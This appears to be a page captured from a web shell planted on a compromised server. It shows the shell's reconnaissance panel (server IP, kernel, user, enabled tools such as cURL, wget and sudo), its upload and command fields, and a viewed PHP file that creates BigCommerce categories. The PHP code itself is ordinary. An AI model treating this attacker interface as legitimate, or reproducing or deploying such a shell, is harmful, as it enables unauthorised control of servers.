Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Console/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Console/CatalogCategoryCreateCommand.php
<?php

declare(strict_types=1);

namespace App\Console;

use App\Controller\Api\ApiController;
use App\Model\CategoriasModel;
use GuzzleHttp\HandlerStack;
use GuzzleHttp\Middleware;
use Monolog\Handler\StreamHandler;
use Monolog\Logger;
use Mosaico\BigCommerce\BaseApiHandlerV3;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class CatalogCategoryCreateCommand extends Command
{
    protected function configure(): void
    {
        $this
            ->setName('catalog:category:create')
            ->setDescription('Create BigCommerce Category')
            ->setHelp('This command allows you create BigCommerce categories');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        new ApiController();
        $categoriasModel = new CategoriasModel();
        $categorias = (object) $categoriasModel->getParentCategoriesCreate();
        $array = [];
        $httpMethod = 'POST';

        if ($categorias->num_rows > 0) :
            $client = new BaseApiHandlerV3();
            foreach ($categorias->rows as $value) {
                $array = [
                    'parent_id' => 0,
                    'name' => $value['nombre_categoria'],
                    'page_title' => $value['nombre_categoria'],
                ];

                try {
                    $handler = HandlerStack::create();
                    $tapMiddleware = Middleware::tap(function ($request) {
                        echo $request->getBody() . "\r\n";
                    });
                    $response = $client->api()->request(
                        $httpMethod,
                        'catalog/categories', [
                        'headers' => [
                            'X-Auth-Token' => $client->token(),
                        ],
                        'content-type' => 'application/json',
                        'json' => $array,
                        'handler' => $tapMiddleware($handler),
                    ]);
                    $body = $response->getBody();
                    $category = json_decode((string) $body, true);

                    if ($category) {
                        $categoriasModel->updateCategoriaIdBigcommerce(
                            (int) $value['id_categoria'],
                            (int) $category['data']['id']
                        );
                        $categoriasModel->updateCategoriaIsUpdate((int) $value['id_categoria']);
                        $categoriasModel->updateCategoriaIsUpdateChild((int) $value['id_categoria']);
                        $this->logInfo([
                            'status' => $response->getStatusCode(),
                            'categoria' => $value['nombre_categoria'],
                            'id' => $category['data']['id'],
                        ]);
                    }
                    //$output->writeln($value['id_marca'] . '-' . $value['nombre_marca']);
                } catch (\GuzzleHttp\Exception\ClientException $e) {
                    $response = $e->getResponse();
                    $error = json_decode((string) $response->getBody());
                    $this->logError($error, $value);
                }
            }
        endif;
        return 0;
    }

    public function logError(object $error, array $categoria): void
    {
        $log = new Logger('CreateCategory');
        $log->pushHandler(new StreamHandler(__DIR__ . '/../../logs/catalog/error-categoria.log', Logger::ERROR));

        $errors = (array) $error->errors;
        $log->error(
            'status: ' . $error->status,
            [
                'title' => $error->title,
                'id' => $categoria['id_categoria'],
            ]
        );
    }

    public function logInfo(array $info)
    {
        $log = new Logger('CreateCategory');
        $log->pushHandler(new StreamHandler(__DIR__ . '/../../logs/catalog/info-categoria.log', Logger::INFO));

        $log->info(
            'status: ' . $info['status'],
            [
                'Category Added: ' . $info['categoria'],
                'BigCommerce ID: ' . $info['id'],
            ]
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit